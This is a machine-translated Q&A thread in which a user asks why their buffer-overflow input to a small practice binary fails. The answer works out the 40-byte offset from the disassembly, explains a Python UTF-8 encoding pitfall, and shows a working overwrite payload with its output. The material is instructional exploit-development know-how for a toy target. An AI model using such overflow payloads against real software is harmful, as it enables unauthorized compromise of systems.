Jul*_*ien 0 c c++ binary buffer-overflow ghidra
这是缓冲区溢出的二进制文件的摘录。我用 Ghidra 反编译了它。
char local_7 [32];
long local_78;
printf("Give it a try");
gets(local_7);
if (local_78 != 0x4141414141414141) {
if (local_78 == 0x1122334455667788) {
puts ("That's won")
}
puts("Let's continue");
}
Run Code Online (Sandbox Code Playgroud)
我想了解为什么可能会发生缓冲区溢出。
我检查了“0x4141414141414141”十六进制值,发现它与“A”字符串有关。但是与“0x4141414141414141”和“0x1122334455667788”相关的条件究竟是做什么的?更准确地说,用户可以回答什么来获得消息(“那是赢了”)?
任何解释将不胜感激,谢谢!
___EDIT ___
我必须补充一点,我在使用“disas main”命令时看到了这两个十六进制值:
0x00000000000011a7 <+8>: movabs $0x4141414141414141,%rax
0x00000000000011e6 <+71>: movabs $0x4141414141414141,%rax
0x00000000000011f6 <+87>: movabs $0x1122334455667788,%rax
Run Code Online (Sandbox Code Playgroud)
我尝试使用python3 -c "print ('A' * 32 +'\x88\x77\x66\x55\x44\x33\x22\x11')" | ./ myBinary.
但我总是有"Let's continue"消息。我离解决方案不远了,但我想我错过了一件事..你能帮我什么吗?
___EDIT 2 ___ 在获取之前:
char local_7 [40];
long local_78;
local_78 = 0x4141414141414141;
printf("Give it a try");
fflush(stdout);
gets(local_7);
[... and so on]
Run Code Online (Sandbox Code Playgroud)
下面是完整的拆解:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push %rbp
0x000000000000118e <+5>: mov %rsp,%rbp
0x0000000000001191 <+8>: sub $0x30,%rsp
0x0000000000001195 <+12>: lea 0xe68(%rip),%rdi # 0x2004
0x000000000000119c <+19>: mov $0x0,%eax
0x00000000000011a1 <+24>: callq 0x1080 <printf@plt>
0x00000000000011a6 <+29>: lea -0x30(%rbp),%rax
0x00000000000011aa <+33>: mov %rax,%rdi
0x00000000000011ad <+36>: mov $0x0,%eax
0x00000000000011b2 <+41>: callq 0x1090 <gets@plt>
0x00000000000011b7 <+46>: movabs $0x4141414141414141,%rax
0x00000000000011c1 <+56>: cmp %rax,-0x8(%rbp)
0x00000000000011c5 <+60>: je 0x11ef <main+102>
0x00000000000011c7 <+62>: movabs $0x1122334455667788,%rax
0x00000000000011d1 <+72>: cmp %rax,-0x8(%rbp)
0x00000000000011d5 <+76>: jne 0x11e3 <main+90>
0x00000000000011d7 <+78>: lea 0xe34(%rip),%rdi # 0x2012
0x00000000000011de <+85>: callq 0x1070 <puts@plt>
0x00000000000011e3 <+90>: lea 0xe33(%rip),%rdi # 0x201d
0x00000000000011ea <+97>: callq 0x1070 <puts@plt>
0x00000000000011ef <+102>: mov $0x0,%eax
0x00000000000011f4 <+107>: leaveq
0x00000000000011f5 <+108>: retq
Run Code Online (Sandbox Code Playgroud)
重要地址可以从设置gets参数的指令确定为local_7:
0x00000000000011a6 <+29>: lea -0x30(%rbp),%rax
Run Code Online (Sandbox Code Playgroud)
以及cmp比较local_78变量的指令。
0x00000000000011c1 <+56>: cmp %rax,-0x8(%rbp)
Run Code Online (Sandbox Code Playgroud)
如您所见,local_7is at-0x30(%rbp)和local_78is at-0x8(%rbp)正好位于缓冲区后的 40 个字节处。
您的 python 命令不正确,因为您使用的字符串操作会导致它产生有效的 UTF-8,因此会产生额外的字节:
$ python3 -c "print ('A' * 40 +'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 c2 88 77 66 55 44 33 22 |AAAAAAAA..wfUD3"|
00000030 11 0a |..|
00000032
Run Code Online (Sandbox Code Playgroud)
注意c2之前的字节88。详细请看下面的问题:
为什么python2和python3中print的输出不同,同一个字符串?
如果我们改为使用bytes类型,我们可以获得正确的输出:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 88 77 66 55 44 33 22 11 |AAAAAAAA.wfUD3".|
00000030
Run Code Online (Sandbox Code Playgroud)
使用这个输入,我们得到"That's won"消息:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|./a.out
Give it a tryThat's won
Let's continue
Run Code Online (Sandbox Code Playgroud)